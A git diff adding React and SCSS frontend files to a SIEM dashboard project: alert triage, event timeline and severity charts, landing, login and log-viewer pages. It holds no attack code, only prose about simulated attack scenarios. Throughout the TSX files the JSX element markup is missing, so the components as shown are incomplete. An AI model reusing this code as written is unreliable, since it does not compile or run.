$font-size-xs; + color: $text-lighter; +} + +.mitre { + display: inline-block; + margin-top: $space-2; + padding: $space-0-5 $space-2; + border: 1px solid $border-default; + border-radius: $radius-sm; + font-size: $font-size-xs; + color: $text-lighter; + font-family: 'JetBrains Mono', monospace; +} + +.empty { + text-align: center; + color: $text-muted; + padding: $space-8; +} + +.cardSkeleton { + height: 100px; + background-color: $bg-surface-100; + border: 1px solid $border-default; + border-radius: $radius-md; +} + +.pagination { + display: flex; + align-items: center; + justify-content: center; + gap: $space-3; +} + +.pageBtn { + @include flex-center; + width: 32px; + height: 32px; + background-color: $bg-surface-100; + border: 1px solid $border-default; + border-radius: $radius-sm; + color: $text-light; + cursor: pointer; + @include transition-fast; + + @include hover { + border-color: $border-strong; + } + + &:disabled { + opacity: 0.3; + cursor: not-allowed; + } + + svg { + width: 16px; + height: 16px; + } +} + +.pageInfo { + font-size: $font-size-sm; + color: $text-lighter; +} + +.detail { + background-color: $bg-surface-100; + border: 1px solid $border-default; + border-radius: $radius-md; + padding: $space-5; +} + +.detailHeader { + @include flex-between; + margin-bottom: $space-4; +} + +.detailTitle { + font-size: $font-size-sm; + font-weight: $font-weight-medium; + color: $text-default; +} + +.closeBtn { + @include flex-center; + width: 28px; + height: 28px; + background: transparent; + border: 1px solid $border-default; + border-radius: $radius-sm; + color: $text-light; + cursor: pointer; + @include transition-fast; + + @include hover { + border-color: $border-strong; + } + + svg { + width: 16px; + height: 16px; + } +} + +.detailInfo { + display: grid; + grid-template-columns: repeat(auto-fill, minmax(200px, 1fr)); + gap: $space-3; + margin-bottom: $space-4; +} + +.infoField { + @include flex-column; + gap: $space-1; +} + +.infoLabel { + font-size: $font-size-xs; + color: $text-muted; + text-transform: uppercase; + letter-spacing: $tracking-wide; +} + +.infoValue { + font-size: $font-size-sm; + color: $text-default; +} + +.detailSkeleton { + height: 200px; + background-color: $bg-surface-200; + border-radius: $radius-sm; +} + +.actions { + display: flex; + gap: $space-2; + margin-bottom: $space-4; +} + +.actionBtn { + padding: $space-2 $space-3; + background-color: transparent; + border: 1px solid $border-default; + border-radius: $radius-sm; + font-size: $font-size-xs; + color: $text-light; + cursor: pointer; + @include transition-fast; + + @include hover { + border-color: $border-strong; + color: $text-default; + } + + &:disabled { + opacity: 0.4; + cursor: not-allowed; + } +} + +.matchedEvents { + margin-top: $space-4; + border-top: 1px solid $border-default; + padding-top: $space-4; +} + +.matchedTitle { + font-size: $font-size-xs; + font-weight: $font-weight-medium; + color: $text-lighter; + text-transform: uppercase; + letter-spacing: $tracking-wide; + margin-bottom: $space-3; +} + +.eventList { + @include flex-column; + gap: $space-2; +} + +.eventRow { + display: flex; + align-items: center; + gap: $space-3; + padding: $space-2 $space-3; + border: 1px solid $border-muted; + border-radius: $radius-sm; + font-size: $font-size-xs; +} + +.eventTime { + font-family: 'JetBrains Mono', monospace; + color: $text-lighter; +} + +.eventType { + color: $text-light; + flex: 1; +} + +.eventIp { + font-family: 'JetBrains Mono', monospace; + color: $text-lighter; +} diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/alerts/index.tsx b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/alerts/index.tsx new file mode 100644 index 00000000..3adc1577 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/alerts/index.tsx @@ -0,0 +1,287 @@ +// =================== +// ©AngelaMos | 2026 +// index.tsx +// =================== + +import { useState } from 'react' +import { LuChevronLeft, LuChevronRight, LuX } from 'react-icons/lu' +import { useAlertDetail, useAlerts, useUpdateAlertStatus } from '@/api/hooks' +import type { Alert } from '@/api/types' +import { ALERT_STATUS_LABELS, SEVERITY_LABELS } from '@/config' +import styles from './alerts.module.scss' + +const STATUS_STYLE: Record = { + new: styles.statusNew, + acknowledged: styles.statusAcknowledged, + investigating: styles.statusInvestigating, + resolved: styles.statusResolved, + false_positive: styles.statusFalsePositive, +} + +const STATUS_TABS = [ + { value: '', label: 'All' }, + { value: 'new', label: 'New' }, + { value: 'acknowledged', label: 'Acknowledged' }, + { value: 'investigating', label: 'Investigating' }, + { value: 'resolved', label: 'Resolved' }, +] + +export function Component(): React.ReactElement { + const [page, setPage] = useState(1) + const [statusFilter, setStatusFilter] = useState('') + const [selectedId, setSelectedId] = useState(null) + + const { data, isLoading } = useAlerts({ + page, + per_page: 25, + ...(statusFilter && { status: statusFilter }), + }) + + return ( +
    +
    + {STATUS_TABS.map((tab) => ( + + ))} +
    + +
    + {isLoading ? ( + Array.from({ length: 5 }, (_, i) => ( +
    + )) + ) : data?.items.length === 0 ? ( +
    No alerts found
    + ) : ( + data?.items.map((alert) => ( + + setSelectedId(selectedId === alert.id ? null : alert.id) + } + /> + )) + )} +
    + + {selectedId && ( + setSelectedId(null)} + /> + )} + + {data && data.pages > 1 && ( +
    + + + {page} / {data.pages} + + +
    + )} +
    + ) +} + +Component.displayName = 'Alerts' + +function AlertCard({ + alert, + isSelected, + onSelect, +}: { + alert: Alert + isSelected: boolean + onSelect: () => void +}): React.ReactElement { + return ( + + ) +} + +function AlertDetailPanel({ + alertId, + onClose, +}: { + alertId: string + onClose: () => void +}): React.ReactElement { + const { data, isLoading } = useAlertDetail(alertId) + const updateStatus = useUpdateAlertStatus(alertId) + + if (isLoading || !data) { + return ( +
    +
    +
    + ) + } + + const { alert, matched_events } = data + + const statusActions = [ + { status: 'acknowledged', label: 'Acknowledge' }, + { status: 'investigating', label: 'Investigate' }, + { status: 'resolved', label: 'Resolve' }, + { status: 'false_positive', label: 'False Positive' }, + ].filter((a) => a.status !== alert.status) + + return ( +
    +
    +

    {alert.title}

    + +
    + +
    + + + + + + + {alert.mitre_tactic && ( + + )} + {alert.mitre_technique && ( + + )} + {alert.acknowledged_by && ( + + )} + {alert.notes && } +
    + +
    + {statusActions.map((action) => ( + + ))} +
    + + {matched_events.length > 0 && ( +
    +

    + Matched Events ({matched_events.length}) +

    +
    + {matched_events.slice(0, 20).map((event) => ( +
    + + {new Date(event.timestamp).toLocaleTimeString([], { + hour: '2-digit', + minute: '2-digit', + second: '2-digit', + })} + + + {event.severity} + + + {event.event_type ?? '\u2014'} + + + {event.source_ip ?? '\u2014'} + +
    + ))} +
    +
    + )} +
    + ) +} + +function InfoField({ + label, + value, +}: { + label: string + value: string | null | undefined +}): React.ReactElement | null { + if (value === null || value === undefined) return null + return ( +
    + {label} + {value} +
    + ) +} diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/dashboard/components/event-timeline.module.scss b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/dashboard/components/event-timeline.module.scss new file mode 100644 index 00000000..3d9b6060 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/dashboard/components/event-timeline.module.scss @@ -0,0 +1,32 @@ +// =================== +// ©AngelaMos | 2026 +// event-timeline.module.scss +// =================== + +@use '@/styles' as *; + +.panel { + background-color: $bg-surface-100; + border: 1px solid $border-default; + border-radius: $radius-md; + padding: $space-5; +} + +.title { + font-size: $font-size-sm; + font-weight: $font-weight-medium; + color: $text-light; + margin-bottom: $space-4; +} + +.chart { + width: 100%; + height: 280px; +} + +.skeleton { + width: 100%; + height: 280px; + background-color: $bg-surface-200; + border-radius: $radius-sm; +} diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/dashboard/components/event-timeline.tsx b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/dashboard/components/event-timeline.tsx new file mode 100644 index 00000000..8be63df3 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/dashboard/components/event-timeline.tsx @@ -0,0 +1,103 @@ +// =================== +// ©AngelaMos | 2026 +// event-timeline.tsx +// =================== + +import { curveMonotoneX } from '@visx/curve' +import { ParentSize } from '@visx/responsive' +import { + AnimatedAreaSeries, + AnimatedAxis, + AnimatedGrid, + Tooltip, + XYChart, +} from '@visx/xychart' +import type { TimelineBucket } from '@/api/types' +import { chartTheme } from '@/core/charts' +import styles from './event-timeline.module.scss' + +interface EventTimelineProps { + data: TimelineBucket[] | undefined + isLoading: boolean +} + +const xAccessor = (d: TimelineBucket) => new Date(d.bucket) +const yAccessor = (d: TimelineBucket) => d.count + +export function EventTimeline({ + data, + isLoading, +}: EventTimelineProps): React.ReactElement { + if (isLoading || !data || data.length === 0) { + return ( +
    +

    Event Timeline

    +
    +
    + ) + } + + return ( +
    +

    Event Timeline

    +
    + + {({ width }) => ( + + + + + + { + const datum = tooltipData?.nearestDatum?.datum as + | TimelineBucket + | undefined + if (!datum) return null + return ( +
    +
    + {new Date(datum.bucket).toLocaleTimeString([], { + hour: '2-digit', + minute: '2-digit', + })} +
    +
    {datum.count.toLocaleString()} events
    +
    + ) + }} + /> +
    + )} +
    +
    +
    + ) +} diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/dashboard/components/severity-chart.module.scss b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/dashboard/components/severity-chart.module.scss new file mode 100644 index 00000000..c3df62ce --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/dashboard/components/severity-chart.module.scss @@ -0,0 +1,75 @@ +// =================== +// ©AngelaMos | 2026 +// severity-chart.module.scss +// =================== + +@use '@/styles' as *; + +.panel { + background-color: $bg-surface-100; + border: 1px solid $border-default; + border-radius: $radius-md; + padding: $space-5; +} + +.title { + font-size: $font-size-sm; + font-weight: $font-weight-medium; + color: $text-light; + margin-bottom: $space-4; +} + +.content { + display: flex; + align-items: center; + gap: $space-6; + + @include breakpoint-down('sm') { + flex-direction: column; + } +} + +.chartWrap { + flex-shrink: 0; + width: 200px; + height: 200px; +} + +.legend { + @include flex-column; + gap: $space-2; + flex: 1; +} + +.legendItem { + display: flex; + align-items: center; + gap: $space-2; +} + +.legendDot { + flex-shrink: 0; + width: 8px; + height: 8px; + border-radius: $radius-full; +} + +.legendLabel { + font-size: $font-size-sm; + color: $text-light; + text-transform: capitalize; + flex: 1; +} + +.legendValue { + font-size: $font-size-sm; + color: $text-default; + font-weight: $font-weight-medium; + font-variant-numeric: tabular-nums; +} + +.skeleton { + height: 200px; + background-color: $bg-surface-200; + border-radius: $radius-sm; +} diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/dashboard/components/severity-chart.tsx b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/dashboard/components/severity-chart.tsx new file mode 100644 index 00000000..180dccec --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/dashboard/components/severity-chart.tsx @@ -0,0 +1,118 @@ +// =================== +// ©AngelaMos | 2026 +// severity-chart.tsx +// =================== + +import { Group } from '@visx/group' +import { ParentSize } from '@visx/responsive' +import { Pie } from '@visx/shape' +import type { SeverityCount } from '@/api/types' +import { SEVERITY_LABELS } from '@/config' +import { SEVERITY_COLORS } from '@/core/charts' +import styles from './severity-chart.module.scss' + +interface SeverityChartProps { + data: SeverityCount[] | undefined + isLoading: boolean +} + +export function SeverityChart({ + data, + isLoading, +}: SeverityChartProps): React.ReactElement { + if (isLoading || !data) { + return ( +
    +

    Severity Breakdown

    +
    +
    + ) + } + + const total = data.reduce((sum, d) => sum + d.count, 0) + + return ( +
    +

    Severity Breakdown

    +
    +
    + + {({ width }) => { + const size = Math.min(width, 200) + const radius = size / 2 + return ( + + Severity breakdown donut chart + + d.count} + outerRadius={radius} + innerRadius={radius * 0.6} + cornerRadius={2} + padAngle={0.02} + > + {(pie) => + pie.arcs.map((arc) => ( + + )) + } + + + {total.toLocaleString()} + + + TOTAL + + + + ) + }} + +
    +
    + {data.map((item) => ( +
    + + + {SEVERITY_LABELS[item.severity] ?? item.severity} + + + {item.count.toLocaleString()} + +
    + ))} +
    +
    +
    + ) +} diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/dashboard/components/stat-cards.module.scss b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/dashboard/components/stat-cards.module.scss new file mode 100644 index 00000000..2ff7f03c --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/dashboard/components/stat-cards.module.scss @@ -0,0 +1,50 @@ +// =================== +// ©AngelaMos | 2026 +// stat-cards.module.scss +// =================== + +@use '@/styles' as *; + +.grid { + display: grid; + grid-template-columns: repeat(4, 1fr); + gap: $space-4; + + @include breakpoint-down('lg') { + grid-template-columns: repeat(2, 1fr); + } + + @include breakpoint-down('sm') { + grid-template-columns: 1fr; + } +} + +.card { + background-color: $bg-surface-100; + border: 1px solid $border-default; + border-radius: $radius-md; + padding: $space-4 $space-5; + @include flex-column; + gap: $space-1; +} + +.value { + font-size: $font-size-2xl; + font-weight: $font-weight-semibold; + color: $text-default; + line-height: $line-height-tight; + font-variant-numeric: tabular-nums; +} + +.label { + font-size: $font-size-xs; + color: $text-lighter; + text-transform: uppercase; + letter-spacing: $tracking-wide; +} + +.skeleton { + height: 48px; + background-color: $bg-surface-200; + border-radius: $radius-sm; +} diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/dashboard/components/stat-cards.tsx b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/dashboard/components/stat-cards.tsx new file mode 100644 index 00000000..5cd932cd --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/dashboard/components/stat-cards.tsx @@ -0,0 +1,50 @@ +// =================== +// ©AngelaMos | 2026 +// stat-cards.tsx +// =================== + +import type { DashboardOverview } from '@/api/types' +import styles from './stat-cards.module.scss' + +interface StatCardsProps { + data: DashboardOverview | undefined + isLoading: boolean +} + +export function StatCards({ + data, + isLoading, +}: StatCardsProps): React.ReactElement { + const critical = + data?.severity_breakdown?.find((s) => s.severity === 'critical')?.count ?? 0 + + const cards = [ + { label: 'Total Events', value: data?.total_events ?? 0 }, + { label: 'Total Alerts', value: data?.total_alerts ?? 0 }, + { label: 'Open Alerts', value: data?.open_alerts ?? 0 }, + { label: 'Critical', value: critical }, + ] + + if (isLoading) { + return ( +
    + {Array.from({ length: 4 }, (_, i) => ( +
    +
    +
    + ))} +
    + ) + } + + return ( +
    + {cards.map((card) => ( +
    + {card.value.toLocaleString()} + {card.label} +
    + ))} +
    + ) +} diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/dashboard/components/top-sources.module.scss b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/dashboard/components/top-sources.module.scss new file mode 100644 index 00000000..7fe45ee7 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/dashboard/components/top-sources.module.scss @@ -0,0 +1,77 @@ +// =================== +// ©AngelaMos | 2026 +// top-sources.module.scss +// =================== + +@use '@/styles' as *; + +.panel { + background-color: $bg-surface-100; + border: 1px solid $border-default; + border-radius: $radius-md; + padding: $space-5; +} + +.title { + font-size: $font-size-sm; + font-weight: $font-weight-medium; + color: $text-light; + margin-bottom: $space-4; +} + +.bars { + @include flex-column; + gap: $space-3; +} + +.barRow { + display: flex; + align-items: center; + gap: $space-3; +} + +.barLabel { + flex-shrink: 0; + width: 120px; + font-family: 'JetBrains Mono', monospace; + font-size: $font-size-xs; + color: $text-lighter; + @include truncate; +} + +.barTrack { + flex: 1; + height: 20px; + background-color: $bg-surface-200; + border-radius: $radius-xs; + overflow: hidden; +} + +.barFill { + height: 100%; + background-color: $accent; + border-radius: $radius-xs; + transition: width $duration-slow $ease-out; +} + +.barCount { + flex-shrink: 0; + width: 60px; + text-align: right; + font-size: $font-size-xs; + color: $text-light; + font-variant-numeric: tabular-nums; +} + +.skeleton { + height: 200px; + background-color: $bg-surface-200; + border-radius: $radius-sm; +} + +.empty { + color: $text-muted; + font-size: $font-size-sm; + text-align: center; + padding: $space-8; +} diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/dashboard/components/top-sources.tsx b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/dashboard/components/top-sources.tsx new file mode 100644 index 00000000..fe5d40b5 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/dashboard/components/top-sources.tsx @@ -0,0 +1,59 @@ +// =================== +// ©AngelaMos | 2026 +// top-sources.tsx +// =================== + +import type { TopSource } from '@/api/types' +import styles from './top-sources.module.scss' + +interface TopSourcesProps { + data: TopSource[] | undefined + isLoading: boolean +} + +export function TopSources({ + data, + isLoading, +}: TopSourcesProps): React.ReactElement { + if (isLoading || !data) { + return ( +
    +

    Top Sources

    +
    +
    + ) + } + + if (data.length === 0) { + return ( +
    +

    Top Sources

    +
    No data
    +
    + ) + } + + const maxCount = Math.max(...data.map((d) => d.count)) + + return ( +
    +

    Top Sources

    +
    + {data.map((source) => ( +
    + {source.source_ip} +
    +
    +
    + + {source.count.toLocaleString()} + +
    + ))} +
    +
    + ) +} diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/dashboard/dashboard.module.scss b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/dashboard/dashboard.module.scss new file mode 100644 index 00000000..5acb8030 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/dashboard/dashboard.module.scss @@ -0,0 +1,24 @@ +// =================== +// ©AngelaMos | 2026 +// dashboard.module.scss +// =================== + +@use '@/styles' as *; + +.page { + @include flex-column; + gap: $space-6; + width: 100%; + max-width: 1325px; + margin: 0 auto; +} + +.row { + display: grid; + grid-template-columns: 1fr 1fr; + gap: $space-4; + + @include breakpoint-down('md') { + grid-template-columns: 1fr; + } +} diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/dashboard/index.tsx b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/dashboard/index.tsx new file mode 100644 index 00000000..7f621913 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/dashboard/index.tsx @@ -0,0 +1,36 @@ +// =================== +// ©AngelaMos | 2026 +// index.tsx +// =================== + +import { + useDashboardOverview, + useSeverityBreakdown, + useTimeline, + useTopSources, +} from '@/api/hooks' +import { EventTimeline } from './components/event-timeline' +import { SeverityChart } from './components/severity-chart' +import { StatCards } from './components/stat-cards' +import { TopSources } from './components/top-sources' +import styles from './dashboard.module.scss' + +export function Component(): React.ReactElement { + const overview = useDashboardOverview() + const timeline = useTimeline() + const severity = useSeverityBreakdown() + const topSources = useTopSources() + + return ( +
    + + +
    + + +
    +
    + ) +} + +Component.displayName = 'Dashboard' diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/landing/index.tsx b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/landing/index.tsx new file mode 100644 index 00000000..3a8705fa --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/landing/index.tsx @@ -0,0 +1,92 @@ +// =================== +// ©AngelaMos | 2026 +// index.tsx +// =================== + +import { GiDualityMask, GiHumanTarget } from 'react-icons/gi' +import { GoAlert } from 'react-icons/go' +import { LuActivity } from 'react-icons/lu' +import { Link } from 'react-router-dom' +import { ROUTES } from '@/config' +import styles from './landing.module.scss' + +export function Component(): React.ReactElement { + return ( +
    +
    +

    SIEM Dashboard

    +

    + Security monitoring and attack simulation +

    +
    + +
    +

    + A fully functional Security Information and Event Management system. + Launch simulated attack scenarios, watch log events flow through a + correlation engine in real time, and triage the alerts it generates. +

    + +
    +
    +
    + +
    +

    Real-Time Monitoring

    +

    + Live event timeline, streaming log viewer, and dashboard analytics + powered by MongoDB aggregation pipelines and Server-Sent Events. +

    +
    + +
    +
    + +
    +

    Attack Scenarios

    +

    + YAML-defined playbooks simulating brute force, phishing C2, + privilege escalation, and data exfiltration — all mapped to MITRE + ATT&CK techniques. +

    +
    + +
    +
    + +
    +

    Correlation Engine

    +

    + Threshold, sequence, and aggregation rules evaluate every event in + real time via Redis Streams, automatically generating alerts when + attack patterns are detected. +

    +
    + +
    +
    + +
    +

    Alert Triage

    +

    + Review, acknowledge, investigate, and resolve alerts. Pivot from an + alert to matched log events by source IP, username, or hostname for + forensic analysis. +

    +
    +
    + +
    + + Login + + + Create Account + +
    +
    +
    + ) +} + +Component.displayName = 'Landing' diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/landing/landing.module.scss b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/landing/landing.module.scss new file mode 100644 index 00000000..50cbf3f7 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/landing/landing.module.scss @@ -0,0 +1,153 @@ +// =================== +// ©AngelaMos | 2026 +// landing.module.scss +// =================== + +@use '@/styles' as *; + +.page { + min-height: 100vh; + min-height: 100dvh; + @include flex-column-center; + background-color: $bg-default; + background-image: radial-gradient( + circle, + $bg-page 1px, + transparent 1px + ); + background-size: 20px 20px; + padding: $space-8; +} + +.header { + text-align: center; + margin-bottom: $space-8; +} + +.title { + font-size: 3.1rem; + font-family: -apple-system-condensed, 'Arial Narrow', Arial, sans-serif; + font-weight: $font-weight-semibold; + color: $text-default; + letter-spacing: $tracking-tight; + margin-bottom: $space-7; +} + +.subtitle { + font-size: 1.23rem; + color: $text-light; + max-width: 500px; +} + +.content { + max-width: 900px; + text-align: center; +} + +.description { + font-size: $font-size-base; + color: $text-light; + line-height: $line-height-relaxed; + margin-bottom: $space-8; + max-width: 600px; + margin-left: auto; + margin-right: auto; +} + +.sections { + display: grid; + grid-template-columns: repeat(2, 1fr); + gap: $space-5; + margin-bottom: $space-10; + text-align: left; + + @include breakpoint-down('md') { + grid-template-columns: 1fr; + } +} + +.section { + padding: $space-5; + background-color: $black; + background-image: radial-gradient( + circle, + $bg-card 1px, + transparent 1px + ); + background-size: 13px 13px; + border: 1px solid $border-muted; + border-radius: $radius-lg; +} + +.sectionIcon { + width: 40px; + height: 40px; + @include flex-center; + background: $bg-surface-200; + border-radius: $radius-md; + margin-bottom: $space-3; + color: $accent; + + svg { + width: 20px; + height: 20px; + } +} + +.sectionTitle { + font-size: $font-size-base; + font-weight: $font-weight-semibold; + color: $text-default; + margin-bottom: $space-2; +} + +.sectionText { + font-size: $font-size-sm; + color: $text-light; + line-height: $line-height-relaxed; +} + +.actions { + display: flex; + gap: $space-3; + justify-content: center; + flex-wrap: wrap; +} + +.button { + display: inline-flex; + align-items: center; + justify-content: center; + padding: $space-3 $space-5; + font-size: $font-size-sm; + font-weight: $font-weight-medium; + color: $white; + background-color: $accent; + border-radius: $radius-md; + text-decoration: none; + @include transition-fast; + + @include hover { + filter: brightness(1.1); + } +} + +.buttonOutline { + display: inline-flex; + align-items: center; + justify-content: center; + padding: $space-3 $space-5; + font-size: $font-size-sm; + font-weight: $font-weight-medium; + color: $text-default; + background-color: transparent; + border: 1px solid $border-default; + border-radius: $radius-md; + text-decoration: none; + @include transition-fast; + + @include hover { + border-color: $border-strong; + background-color: $bg-surface-75; + } +} diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/login/index.tsx b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/login/index.tsx new file mode 100644 index 00000000..f8bbf86c --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/login/index.tsx @@ -0,0 +1,113 @@ +// =================== +// ©AngelaMos | 2026 +// index.tsx +// =================== + +import { useState } from 'react' +import { LuArrowLeft, LuEye, LuEyeOff } from 'react-icons/lu' +import { Link, useNavigate } from 'react-router-dom' +import { toast } from 'sonner' +import { useLogin } from '@/api/hooks' +import { loginRequestSchema } from '@/api/types' +import { ROUTES } from '@/config' +import styles from './login.module.scss' + +export function Component(): React.ReactElement { + const navigate = useNavigate() + const login = useLogin() + + const [username, setUsername] = useState('') + const [password, setPassword] = useState('') + const [showPassword, setShowPassword] = useState(false) + + const handleSubmit = (e: React.FormEvent): void => { + e.preventDefault() + + const result = loginRequestSchema.safeParse({ username, password }) + + if (!result.success) { + const firstError = result.error.issues[0] + toast.error(firstError.message) + return + } + + login.mutate(result.data, { + onSuccess: () => { + navigate(ROUTES.DASHBOARD) + }, + }) + } + + return ( +
    + + + Home + +
    +
    +

    Login

    +

    Welcome back

    +
    + +
    +
    + + setUsername(e.target.value)} + autoComplete="username" + /> +
    + +
    + +
    + setPassword(e.target.value)} + autoComplete="current-password" + /> + +
    +
    + + +
    + +

    + Don't have an account?{' '} + + Sign up + +

    +
    +
    + ) +} + +Component.displayName = 'Login' diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/login/login.module.scss b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/login/login.module.scss new file mode 100644 index 00000000..9b443ed8 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/login/login.module.scss @@ -0,0 +1,185 @@ +// =================== +// ©AngelaMos | 2026 +// login.module.scss +// =================== + +@use '@/styles' as *; + +.page { + position: relative; + min-height: 100vh; + min-height: 100dvh; + @include flex-center; + background-color: $bg-default; + background-image: radial-gradient( + circle, + $bg-page 1px, + transparent 1px + ); + background-size: 20px 20px; + padding: $space-4; +} + +.homeLink { + position: absolute; + top: $space-6; + left: $space-6; + display: flex; + align-items: center; + gap: $space-2; + font-size: $font-size-sm; + color: $text-light; + text-decoration: none; + @include transition-fast; + + @include hover { + color: $accent; + } + + svg { + width: 16px; + height: 16px; + } +} + +.card { + width: 100%; + max-width: 400px; + background-color: $black; + background-image: radial-gradient( + circle, + $bg-card 1px, + transparent 1px + ); + background-size: 18px 18px; + border: 1px solid $border-default; + border-radius: $radius-lg; + padding: $space-8; +} + +.header { + margin-bottom: $space-6; +} + +.title { + font-size: $font-size-2xl; + font-weight: $font-weight-semibold; + color: $white; + margin-bottom: $space-2; +} + +.subtitle { + font-size: $font-size-sm; + color: $text-light; +} + +.form { + @include flex-column; + gap: $space-5; +} + +.field { + @include flex-column; + gap: $space-2; +} + +.label { + font-size: $font-size-sm; + font-weight: $font-weight-medium; + color: $white; +} + +.input { + width: 100%; + height: 48px; + padding: 0 $space-4; + background-color: transparent; + border: 1px solid $border-default; + border-radius: $radius-md; + font-size: $font-size-base; + color: $white; + @include transition-fast; + + &::placeholder { + color: $text-muted; + } + + &:focus { + outline: none; + border-color: $border-strong; + } +} + +.inputWrapper { + position: relative; + width: 100%; +} + +.eyeButton { + position: absolute; + right: $space-3; + top: 50%; + transform: translateY(-50%); + display: flex; + align-items: center; + justify-content: center; + background: transparent; + border: none; + color: $text-muted; + cursor: pointer; + padding: $space-1; + @include transition-fast; + + &:hover { + color: $white; + } + + svg { + width: 20px; + height: 20px; + } +} + +.submit { + width: 100%; + height: 48px; + margin-top: $space-2; + display: flex; + align-items: center; + justify-content: center; + background-color: $white; + border: none; + border-radius: $radius-md; + font-size: $font-size-base; + font-weight: $font-weight-medium; + color: $black; + cursor: pointer; + @include transition-fast; + + @include hover { + filter: brightness(0.9); + } + + &:disabled { + opacity: 0.5; + cursor: not-allowed; + } +} + +.footer { + margin-top: $space-6; + text-align: center; + font-size: $font-size-sm; + color: $text-light; +} + +.link { + color: $accent; + text-decoration: underline; + text-underline-offset: 4px; + @include transition-fast; + + @include hover { + filter: brightness(1.2); + } +} diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/logs/index.tsx b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/logs/index.tsx new file mode 100644 index 00000000..8c0493a2 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/logs/index.tsx @@ -0,0 +1,266 @@ +// =================== +// ©AngelaMos | 2026 +// index.tsx +// =================== + +import { useState } from 'react' +import { LuChevronLeft, LuChevronRight, LuSearch, LuX } from 'react-icons/lu' +import { useLogDetail, useLogs } from '@/api/hooks' +import type { LogEvent, LogQueryParams } from '@/api/types' +import { SEVERITY_LABELS } from '@/config' +import styles from './logs.module.scss' + +const SOURCE_OPTIONS = [ + 'firewall', + 'ids', + 'auth', + 'endpoint', + 'dns', + 'proxy', + 'generic', +] + +const SEVERITY_OPTIONS = ['critical', 'high', 'medium', 'low', 'info'] + +export function Component(): React.ReactElement { + const [page, setPage] = useState(1) + const [sourceType, setSourceType] = useState('') + const [severity, setSeverity] = useState('') + const [search, setSearch] = useState('') + const [selectedId, setSelectedId] = useState(null) + + const params: LogQueryParams = { + page, + per_page: 25, + ...(sourceType && { source_type: sourceType }), + ...(severity && { severity }), + ...(search && { event_type: search }), + } + + const { data, isLoading } = useLogs(params) + const detail = useLogDetail(selectedId ?? '') + + return ( +
    +
    +
    + + +
    + +
    + + { + setSearch(e.target.value) + setPage(1) + }} + /> + {search && ( + + )} +
    +
    + +
    + + + + + + + + + + + + + + {isLoading ? ( + Array.from({ length: 10 }, (_, i) => ( + + + + )) + ) : data?.items.length === 0 ? ( + + + + ) : ( + data?.items.map((log) => ( + + setSelectedId(selectedId === log.id ? null : log.id) + } + > + + + + + + + + + )) + )} + +
    TimestampSeveritySourceEvent TypeSource IPDest IPUsername
    +
    +
    + No log events found +
    + {new Date(log.timestamp).toLocaleString([], { + month: 'short', + day: '2-digit', + hour: '2-digit', + minute: '2-digit', + second: '2-digit', + })} + + + {log.severity} + + {log.source_type}{log.event_type ?? '\u2014'}{log.source_ip ?? '\u2014'}{log.dest_ip ?? '\u2014'}{log.username ?? '\u2014'}
    +
    + + {selectedId && detail.data && ( + setSelectedId(null)} /> + )} + + {data && data.pages > 1 && ( +
    + + + {page} / {data.pages} + + +
    + )} +
    + ) +} + +Component.displayName = 'LogViewer' + +function LogDetail({ + log, + onClose, +}: { + log: LogEvent + onClose: () => void +}): React.ReactElement { + return ( +
    +
    +

    Event Detail

    + +
    +
    + + + + + + + + + + + + + +
    + {Object.keys(log.normalized).length > 0 && ( +
    +

    Normalized

    +
    +            {JSON.stringify(log.normalized, null, 2)}
    +          
    +
    + )} + {Object.keys(log.raw).length > 0 && ( +
    +

    Raw

    +
    +            {JSON.stringify(log.raw, null, 2)}
